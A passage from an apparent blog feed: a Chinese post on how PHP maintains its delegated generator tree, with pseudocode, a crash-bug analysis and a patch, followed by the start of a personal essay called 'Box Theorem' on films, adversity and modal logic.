class="line"></span><br><span class="line"><span class="comment">// add_root_leaf_node_to_root_leaf_node (gen1, gen2)</span></span><br></pre></td></tr></table></figure><p>用自然语言来描述如下:</p><ol type="1"><li>第5行, 第7-8行: <code>gen</code>和<code>child</code>构成了父子, 它们应当具有相同的<strong>root</strong>结点. 根据<strong>核心设计2</strong>, 此时我们应当去选择一个<code>gen</code>的<strong>descendent</strong>结点, 让<code>gen</code>保存这个结点的引用. 这个<strong>descendent</strong>结点最好是一个<strong>leaf</strong>节点, 当<code>child</code>是不是一个<strong>leaf</strong>结点的时候, 这里的最好选择应当是它上面存放的某个<strong>leaf</strong>结点, 反之<code>leaf</code>只能是<code>child</code>. 第7-8行直接对应<strong>核心设计2</strong>的操作, 注意这里我们可以直接使用<code>gen.node.ptr.root</code>来获取<strong>root</strong>结点，是因为在假设条件中<code>gen</code>是一个<strong>leaf</strong>结点.</li><li>第10-11行: 存储<code>child</code>作为<code>gen</code>的<strong>child</strong>结点时, 根据<strong>核心设计3</strong>, 我们应当存储一个order pair, 这里只能是<code>(child, leaf)</code>.</li><li>第13行: 维护正常的父子结点关系.</li></ol><p><strong>#2</strong> <em><code>gen</code>有一个<strong>child</strong>结点</em>.</p><p>图式新增过程如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">             gen        gen</span><br><span class="line">            &#x2F;          &#x2F;   \</span><br><span class="line">gen  --&gt;   c1   --&gt;   c1   child</span><br></pre></td></tr></table></figure><p>引入这个case, 是想指明使用<code>node.child.single</code>到<code>node.child.ht</code>转变. 只有一个order pair的时候, 我们直接使用<code>node.child.single</code>即可, 而需要存储多个ordered pairs就只能用哈希表了. 相关转变过程如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">one_child_to_multiple_children</span><span class="params">(gen, child)</span> </span>&#123;</span><br><span class="line">    child_leaf = child.node.children ? child.node.ptr.leaf : child</span><br><span class="line">    c1_leaf = gen.node.single.leaf;</span><br><span class="line">    gen.node.ht = new_ht();</span><br><span class="line">    ht_add(gen.node.ht, c1_leaf, c1); <span class="comment">// 将c1对应的pair加入ht</span></span><br><span class="line">    ht_add(gen.node, child_leaf, chi就只能变成ld); <span class="comment">// 将child对应的pair加入ht</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>#3</strong> <em><code>gen</code>是一个<strong>leaf</strong>结点且有<strong>parent</strong>结点.</em></p><p>情况开始变的复杂, 图式新增过程如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">                                  ...</span><br><span class="line">    ...                           &#x2F;</span><br><span class="line">     &#x2F;                           p2</span><br><span class="line">    p2                          &#x2F;</span><br><span class="line">   &#x2F;                           p1</span><br><span class="line">  p1    +    child             &#x2F;</span><br><span class="line"> &#x2F;            \       --&gt;    gen</span><br><span class="line">gen           ...              \</span><br><span class="line">                               child</span><br><span class="line">                                 \</span><br><span class="line">                                 ...</span><br></pre></td></tr></table></figure><p>它对应的连接过程如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">add_child_to_leaf_node_has_parent</span><span class="params">(gen, child)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// assert(gen.node.childen == 0 &amp;&amp; gen.node.parent != null)</span></span><br><span class="line">    </span><br><span class="line">    leaf = child.node.children ? child.node.ptr.leaf : child;</span><br><span class="line">    </span><br><span class="line">    leaf.node.ptr.root = gen.node.ptr.root; </span><br><span class="line">    gen.node.ptr.leaf = leaf;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 依次向上遍历gen的祖先结点. </span></span><br><span class="line">    next = gen.node.parent;</span><br><span class="line">    <span class="keyword">while</span> (next) &#123;</span><br><span class="line">        <span class="keyword">if</span> (next.node.children &gt; <span class="number">1</span>) &#123; </span><br><span class="line">            child2 = ht_find(next.child.ht, gen);</span><br><span class="line">            ht_del(next.child.ht, gen);  <span class="comment">// 从ht中删除以gen为index的元素</span></span><br><span class="line">            ht_add(next.child.ht, leaf, child2); <span class="comment">// 在ht中添加以leaf为index元素</span></span><br><span class="line">        &#125;</span><br><span class="line">        next.node.ptr.leaf = leaf</span><br><span class="line">        next = next.node.parent;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第11-20行: <code>gen</code>原本是一个<strong>leaf</strong>结点, 那么它有可能被其他结点引用, 可能引用的地方为它的<strong>ancestor</strong>结点的<code>node.child.single.leaf</code> 或者 <code>node.child.ht</code>或者 <code>node.ptr.leaf</code>处. 此时<code>gen</code>不再是一个<strong>leaf</strong>结点，因此我们需要对这三个地方做一个必要的更新. 对于第一个和第三个地方, 我们之间将<code>gen</code>更新为<code>leaf</code>即可, 而第二个地方, 我们需要把包含<code>gen</code>的ordered pair取出来, 把<code>gen</code>换成<code>leaf</code>.</p><p>显然这里的代码忽略了更新<code>node.child.single.leaf</code>这个地方, 即<strong>ancestor</strong>结点只有一个<strong>child</strong>结点的时候, 会使得这个<strong>ancestor</strong>结点保存错误的ordered pair, 最后在它完成执行之后，我们可能无法正确地找到退回<strong>child</strong>结点. 我们在最初给出的crash例子对应了下面的构造过程:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> p1              p1                    p1</span><br><span class="line">&#x2F;    ---&gt;        &#x2F;      ---&gt;         &#x2F;    \</span><br><span class="line">gen             gen             gen    new1</span><br><span class="line">                 \                   \</span><br><span class="line">                child               child</span><br></pre></td></tr></table></figure><p>注意中间这个图, 对应了这里case所代表的连接过程, 连接<code>child</code>之后, <code>p1.child.single.leaf</code>依然保存了<code>gen</code>, 而不是真正所需要的<code>child</code>. 那么在下一步构造中, 我们把<code>new</code>也连接到<code>p1</code>下, 使得<code>p1</code>会使用<code>node.ptr.ht</code>来保存两个<strong>child</strong>结点对应的两个ordered pair, 显然<code>(gen, gen)</code>是其中一个pair. 最后我们尝试拨动<code>child-&gt;next()</code>使得<code>p1</code>完成执行, 这个时候<code>p1</code>被关闭, 需要使用<code>child</code>来查询 <code>p1.child.ht</code>来更新<strong>root</strong>结点, 结果就是查询失败最终导致crash. 因此这里需要打个patch:</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">    if (next.node.children &gt; 1) &#123; </span><br><span class="line">        child2 = ht_find(next.child.ht, gen);</span><br><span class="line">        ht_del(next.child.ht, gen);</span><br><span class="line">        ht_add(next.child.ht, leaf, child);</span><br><span class="line"><span class="addition">+   &#125; else &#123;</span></span><br><span class="line"><span class="addition">+       next.node.child.single.leaf = leaf;    </span></span><br><span class="line"><span class="addition">+   &#125;</span></span><br></pre></td></tr></table></figure><p>那为什么PHP7.0, 7.1, 7.2没崩呢? 因为有一行垃圾代码使得<code>gen</code>在完成与<code>child</code>连接之后拥有了两个<strong>child</strong>结点, 即重复存储了<code>child</code>, 原本只有一个<strong>child</strong>结点, 使得在最后连接<code>new1</code>的时候根本不会用到未更新的<code>p1.child.single.leaf</code>, 参考下面的case#4.</p><p><strong>#4</strong> <em><code>gen</code>有一个<strong>child</strong>结点, 且存在一个有多个孩子的<strong>descendent</strong>结点.</em></p><p>图示新增过程如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    gen                       gen</span><br><span class="line">   &#x2F;                         &#x2F;   \</span><br><span class="line">  c1    +  child   --&gt;     c1    child</span><br><span class="line"> &#x2F;  \                      &#x2F;  \</span><br><span class="line">c2  c3                    c2  c3</span><br></pre></td></tr></table></figure><p>对应的部分连接过程如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">search_multi_children_node</span><span class="params">(gen)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">while</span> (gen.node.children == <span class="number">1</span>) &#123;</span><br><span class="line">        gen = gen.node.child.single.child;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> gen.node.children &gt; <span class="number">1</span> ? gen : null;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">function <span class="title">merge_child_nodes_to_ht</span> <span class="params">(gen, mutil_children_node, gen_single_child_node)</span> </span>&#123;</span><br><span class="line">    foreach (mutil_children_node.node.child.ht as leaf =&gt; child) &#123;</span><br><span class="line">        ht_add(gen.node.child.ht, leaf, gen_single_child_node);</span><br><span class="line">    &#125; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">function <span class="title">add_child_to_node_has_one_child</span> <span class="params">(gen, child)</span> </span>&#123;</span><br><span class="line"><span class="comment">// assert (gen.node.children == 1)</span></span><br><span class="line">    multi_children_node = search_multi_children_node(gen);</span><br><span class="line">    <span class="keyword">if</span> (multi_children_node != null) &#123;</span><br><span class="line">        merge_child_nodes_to_ht(gen, multi_children_node, gen.node.single.child);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的操作是围绕<strong>核心设计3</strong>在进行. 注意观察最左边<code>gen</code>本身的结构, 它只有一个<strong>child</strong>结点, 那么当我们拨动<code>c2</code>或者<code>c3</code>使得<code>gen</code>完成执行后, 新<strong>root</strong>结点只能是它唯一的<strong>child</strong>结点. 但是当<code>child</code>也连接为成为<code>gen</code>的一个<strong>child</strong>之后, 我们就需要在<code>gen</code>完成执行时, 做出选择了. 那么<code>gen</code>中至少需要存储3个ordered pair, 即 <code>(c1, c2), (c1, c3), (child, child)</code>. 所以这里有一个细微的merge操作, 将<code>gen</code>所有的后继<strong>leaf</strong>结点和<code>gen</code>的本身那个<strong>child</strong>结点构成的ordered pairs都放到<code>gen.node.child.ht</code>中.</p><p>那么我们要怎样完成这个工作呢? 我们不需要遍历<code>gen</code>所在tree的所有<strong>leaf</strong>结点, 我们只需要找到<code>gen</code>下第一个拥有多个孩子的<strong>descendent</strong>结点, 然后遍历它的ordered pairs中的<strong>leaf</strong>结点即可. 因为我们一直在维护上述操作, 可以保证从该结点中拿到所有的<strong>leaf</strong>结点.</p><p><strong>#5</strong> <em><code>child</code>不存在多个孩子的<strong>descendent</strong>结点</em></p><p>图示连接过程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"> ...                       ...</span><br><span class="line">  \                         \</span><br><span class="line">   p1     +  child   --&gt;     p1</span><br><span class="line">  &#x2F; \           \           &#x2F;  \</span><br><span class="line">...  gen        c1         ...  gen</span><br><span class="line">    &#x2F;                          &#x2F;  \</span><br><span class="line">   ...                        ...  child</span><br><span class="line">                                     \</span><br><span class="line">                                      c1</span><br></pre></td></tr></table></figure><p>上述连接过程完成之后, <code>gen</code>会多出一个<strong>leaf</strong>结点 <code>c1</code>, 如果<code>gen</code>拥有多个<strong>child</strong>结点, 考虑<strong>核心设计3</strong>, 那么我们需要把<code>(child, c1)</code>放到<code>gen</code>中. 同理我们需要向上考虑<code>gen</code>所有拥有多个孩子的<strong>ancestor</strong>结点. 其过程为如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">add_child_to_node_has_one_child</span> <span class="params">(gen, child)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (gen.node.children != <span class="number">0</span>) &#123;</span><br><span class="line">        multi_children_node = search_multi_children_node(child);</span><br><span class="line">        <span class="keyword">if</span> (multi_children_node == null) &#123; <span class="comment">// `child`不存在多个孩子的descendent结点</span></span><br><span class="line">            leaf = child.node.ptr.leaf;</span><br><span class="line">            ht_add(gen, leaf, child);</span><br><span class="line"></span><br><span class="line">            parent = gen.node.parent;</span><br><span class="line">            cur = generator;</span><br><span class="line">            <span class="keyword">while</span> (parent) &#123;</span><br><span class="line">                <span class="keyword">if</span> (parent.node.children &gt; <span class="number">1</span>) &#123;</span><br><span class="line">                    ht_add(parent, leaf, cur);</span><br><span class="line">                &#125;</span><br><span class="line">                cur = parent;</span><br><span class="line">                parent = parent-&gt;node.parent;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>#6</strong> <em><code>child</code>存在一个有多个孩子的<strong>descendent</strong>结点</em>.</p><p>图示连接过程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">...                             ...</span><br><span class="line"> \                                \</span><br><span class="line">  p1                               p1</span><br><span class="line"> &#x2F;  \                             &#x2F;  \</span><br><span class="line">...   gen   +    child    --&gt; ...    gen</span><br><span class="line">     &#x2F;          &#x2F;     \             &#x2F;   \</span><br><span class="line">    ...         c1     c2          ...  child</span><br><span class="line">                                         &#x2F;    \</span><br><span class="line">                                        c1    c2</span><br></pre></td></tr></table></figure><p>这里面临和#3中一样的问题, 当<code>gen</code>不是<strong>leaf</strong>结点时, 我们需要把ordered pair <code>(child, c1)</code>和<code>(child, c2)</code>也放到<code>gen</code>上. 同时, 也需要考虑<code>gen</code>的所有拥有多个孩子的<strong>ancestor</strong>结点, 将<code>child</code>中的所有<strong>leaf</strong>结点对应的ordered pairs加到其上. 其过程如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">merge_leaf_node_to_node</span> <span class="params">(gen, child)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (gen.node.children != <span class="number">0</span>) &#123;</span><br><span class="line">        multi_children_node = search_multi_children_node(child);</span><br><span class="line">        <span class="keyword">if</span> (multi_children_node) &#123;</span><br><span class="line">            merge_child_nodes_to_ht(gen, multi_children_node, child);</span><br><span class="line"></span><br><span class="line">            parent = generator-&gt;node.parent;</span><br><span class="line">            cur = generator;</span><br><span class="line">            <span class="keyword">while</span> (parent) &#123;</span><br><span class="line">                <span class="keyword">if</span> (parent.node.children &gt; <span class="number">1</span>) &#123;</span><br><span class="line">                    merge_child_nodes_to_ht(parent, multi_children_node, cur);</span><br><span class="line">                &#125;</span><br><span class="line">                cur = parent;</span><br><span class="line">                parent = parent-&gt;node.parent;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="维护-delegated-generator-tree-之快速查找root结点">1.6. 维护 Delegated generator tree 之快速查找root结点</h4><p>结合<strong>核心设计1-2</strong>, 我们可以很快的写出<strong>root</strong>结点的查找过程,</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">get_current_geneartor</span><span class="params">(gen)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (gen.node.parent == null) &#123;</span><br><span class="line">        <span class="keyword">return</span> gen;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    leaf = gen.node.children ? gen.node.ptr.leaf : gen; <span class="comment">// 确定gen的leaf结点</span></span><br><span class="line">    root = leaf.node.ptr.root;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> root;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应任意的结点, 我们首先找到它上存着的某个<strong>leaf</strong>结点的引用, 再从这个<strong>leaf</strong>结点上获取真正的<strong>root</strong>结点. 但是上面这个版本的查找过程并不正确. 在下面一节中将给出完全正确的版本.</p><h4 id="维护-delegated-generator-tree-之更新结点">1.7. 维护 Delegated generator tree 之更新结点</h4><p>这里维护操作关注, 当<strong>root</strong>结点完成执行之后, 如何退回正确的<strong>child</strong>结点继续执行, 对应<strong>核心设计3-4</strong>. 首先我们将上面的<code>get_current_generator()</code>修改正确, 考虑下面的例子</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">        gen0</span><br><span class="line">    &#x2F;           \</span><br><span class="line">gen1gen2</span><br></pre></td></tr></table></figure><p>当我们拨动<code>gen1</code>, 使得<code>gen0</code>完成执行后, <code>gen2</code>依然在使用<code>gen0</code>, i.e., 获取<code>gen0</code>的返回值. 这里告诉我们当<strong>root</strong>结点有多个孩子的时候, 我们不能直接将它从tree上移除. 但是为了避免, 我们下次拨动<code>gen1</code>或者<code>gen1</code>获取错误的<strong>root</strong>结点. 我们需要将<code>gen_current_generator</code>修改一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">get_current_generator</span><span class="params">(gen)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (gen.node.parent == null) &#123;</span><br><span class="line">        <span class="keyword">return</span> gen;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    leaf = gen.node.children ? gen.node.ptr.leaf : gen;</span><br><span class="line">    root = leaf.node.ptr.root;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (root is <span class="keyword">not</span> finished &amp;&amp; root.node.parent == null) &#123;</span><br><span class="line">        <span class="keyword">return</span> root;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> update_tree(gen, leaf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到, 我们在返回<strong>root</strong>结点之前, 多了一个check, 确保其并没有完成执行, 同时依然是一个<strong>root</strong>结点 (可能<code>leaf.node.ptr.leaf</code>还没有被更新). 如果这个check失败了, 我们就需要更新<code>gen</code>对应的<strong>root</strong>结点, 这就是<code>update_tree()</code>中在做的操作, 其过程如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">function <span class="title">get_child</span><span class="params">(gen, leaf)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// assert (gen.node.children &gt;= 1)</span></span><br><span class="line">    <span class="keyword">if</span> (gen.node.children == <span class="number">1</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> gen.node.child.single.child;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ht_find(gen.node.child.ht, leaf);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">function <span class="title">update_tree</span><span class="params">(gen, leaf)</span> </span>&#123;</span><br><span class="line">    root = leaf.node.ptr.root</span><br><span class="line">    root = get_child(root, leaf);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (root is finished &amp;&amp; root != gen) &#123;</span><br><span class="line">        root = get_child(root, leaf);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (root.parent != null &amp;&amp; parent is <span class="keyword">not</span> finished) &#123;</span><br><span class="line">        <span class="keyword">do</span> &#123;</span><br><span class="line">            root = root.node.parent</span><br><span class="line">        &#125; <span class="keyword">while</span> (root.node.parent)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    leaf.node.ptr.root = root;</span><br><span class="line">    <span class="keyword">return</span> root;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第11-12行对应了<strong>核心设计3-4</strong>, 根据<strong>leaf</strong> 结点找到应该退回的<strong>child</strong>结点. 这里我们并不能直接把找到<strong>child</strong>结点视为新的<strong>root</strong>结点, 有可能它也已经完成执行了, 那么我们则需要继续寻找它的<strong>child</strong>结点, 对应这里第一个循环过程.</p><p>第18-22行这里在干什么 ? 注意在1.5节新增<strong>child</strong>结点中, 只有一个地方会更新<strong>leaf</strong>结点中关于<strong>root</strong>结点的引用, 即case#1中, 而其余任何地方都是不会更新<code>node.ptr.root</code>的. 这是因为在其他情况下, 我们就需要使用类似于<code>get_current_generator()</code>中的操作, 定位<strong>leaf</strong>结点, 再check对应的<strong>root</strong>结点. 因此我们将在新增孩子结点过程中的更新<strong>root</strong>结点操作延迟到了<code>update_tree()</code>当中, 当没有更新<code>node.ptr.root</code>就有可能出现找到的<strong>root</strong>结点其实并不是真正的<strong>root</strong>结点, 这一点我们可以通过它是否存在<strong>parent</strong>结点来确定.</p><p>最后在24行处完成<strong>leaf</strong>结点上关于新<strong>root</strong>结点的引用更新.</p><h3 id="最后">2. 最后</h3><p>拥抱PHP系列又开始更新了, 这个系列的初衷是希望大家多多关注PHP里面的东西, 距离上一次更新，已经大概已经3年过去了. 接下来也许还会继续更新, 但是不知道在多久之后... 文章错误我会不定时勘误. 谢谢最后读到这里的陌生人, 下次再见.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;crash样本-缘起&quot;&gt;0. crash样本 缘起&lt;/h3&gt;
&lt;figure class=&quot;highlight php&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>Box Theorem</title>
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    <published>2022-04-30T12:22:24.000Z</published>
    <updated>2022-04-30T04:23:56.569Z</updated>
    
    <content type="html"><![CDATA[<p>我对国外励志片或者大家一致认为非常经典的电影从来不感冒，也一定是看着看着就会睡着了的人。 但是却熬夜看完了《当幸福来敲门》和《幸福终点站》，看完之后有一些觉得有趣的想法，我觉得写下来是一个不错的选择，写作其实是一种非常好的自我交流的方式。</p><p>我并没有对这两个电影表面的励志所感动，因为我从不怀疑一个人要得到某个东西的背后需要付出多大代价。我只是在静静地思考并汲取当一个人面对绝望，困境和无人倾诉的时候应当如何走下去？ 有一个画面《当幸福来敲门》中父子二人因无法承担房租而流落街头，坐在地铁站台附近的长条凳子上一左一右，儿子突然看着Chris旁边的Box说道“Daddy Its not time machine...”， 直到看到这里时候我还在为这对父子如何渡过这个夜晚担心，我也以为Chris会尝试安慰儿子，但是Chris却说“Yes, It is...”，然后以此跟儿子做了一个小游戏回到了侏罗纪时代，把站台的厕所当做安全的cave渡过整个夜晚... 对啊Box为什么不能是time machine呢？ 在那一刻它不是正好帮助了这对父子穿越了那片刻的苦难？ 但是它却还只是一个Box。更让我觉得有趣的是，平时在生活总有许许多多的人，把自己困境当做祈求帮助的途径，而Chris并没有，它没有在找工作的时候告诉别人我是一个孩子的父亲，我们已经走投无路了，也没有在教堂排队等待分配临时住所的时候，因为自己还带着一个孩子希望别人同情一下，但是也看得出来他确实是一个自尊心很强的人。而在《幸福终点站》中整个机场对于Viktor就是一个Box，在这个Box某个角落67号登机口给自己建了一个家，结识了一些朋友，渡过了外人看起来不可思议的9个月。</p><p>我在想自己面对这些境遇的时候会如何做？ 能不能拥有像Chris和Viktor一样的智慧？如果将Viktor在异乡的语言不通比作无人倾诉，Viktor无疑提供了一种比较好的方法，尝试找到共同语言，在尝试的过程中利用你可以接触的一切资源。这里有一个很自然的问题: 在我们的成长经历和日常生活该从哪里学习这种在困境中生活的方法？ 这里我又想到了龙应台在《跌倒-寄K》中的一段话:</p><blockquote><p>“我想说的是，K，在我们整个成长的过程里，谁，教过我们怎么去面对痛苦、挫折、失败？它不在我们的家庭教育里，它不在小学、中学、大学的教科书或课程里，它更不在我们的大众传播里。家庭教育、学校教育、社会教育只教我们如何去追求卓越，从砍樱桃的华盛顿、悬梁刺骨的张秦到平地起楼的比尔盖茨，都是成功的典范。即使是谈到失败，目的只是要你绝地反攻，再度追求出人头地，譬如越王勾践的卧薪尝胆，洗雪耻辱，譬如哪个战败的国王看见蜘蛛如何结网，不屈不挠。我们拼命地学习如何成功冲刺一百米，但是没有人教过我们：你跌倒时，怎么跌得有尊严；你的膝盖破得血肉模糊时，怎么清洗伤口、怎么包扎；你痛得无法忍受时，用什么样的表情去面对别人；你一头栽下时，怎么治疗内心淌血的伤口，怎么获得心灵深层的平静，心像玻璃一样碎了一地时，怎么收拾？”</p></blockquote><p>没人教会我们，或者说别人也无法教会我们，因为有相同的经历才能让人共情。但是正如你所看到的Box is everywhere。 另外一个让我惊叹Box伟大的地方是modal logic里面出现的necessary modality, 第一次遇见它的时候是在natural deduction中作为characterize valid formula方式的出现，同时它又可以出现在lambda calculus中作为characterize closed term的方式。 但是它却只是Box，在见证了它无处不在，它最终以单独subsection named "Box is powerful"在我笔记里面存在。过去我不喜欢赋予冰冰冷冷的抽象事物以任何的感情，因为觉得它们永远只能那样，但是我逐渐发现它或许可以成为生活某个地方的钥匙。 直到我在姚期智大佬文中读到一个关于数学家保罗·埃尔德什(Paul Erdos)的故事:</p><blockquote><p>“我想说的是他是完完全全一个专心做研究的人，而且他有一些特别的地方，他是没有家的人，365天，有360天在路上，在美国欧洲各个地方旅行，基本所需都在一个行李箱里，也不住旅馆，住在朋友家，基本都是数学家，从早到晚都可以交流。他有很多脍炙人口的小故事。比如Epsilon，微积分里用来代表“微小”，小（little）的意思，他喜欢用Epsilon代表小孩子。朋友问他：“吃过午饭了吗？（Have you had lunch？）”他回答：我吃了一点。（Yes，I ate an epsilon）。朋友笑他：你是食人族，吃了个小孩子！ 再比如咖啡，他用一个词“定理咖啡（Theorem coffee）”来指咖啡很浓，可以激发数学思维，证明出定理。他在斯坦福访问时，曾在我们家住过两天，称赞储教授做的咖啡堪称“Theorem coffee”。他的整个思维，觉得数学不但是很高深重要的科学，也是社会合作的一个活动，觉得数学应该大家都参与，互相都合作，这是做数学最好的方式。科学界流行一个埃数（Erdos number）的概念，代表和Erdos合作的“最近”距离，可说是最早的一个社交网（social network）。网络之广，甚至许多生物学家、经济家都有一个近距离的埃数（Erdos number）。我本人的埃数（Erdos 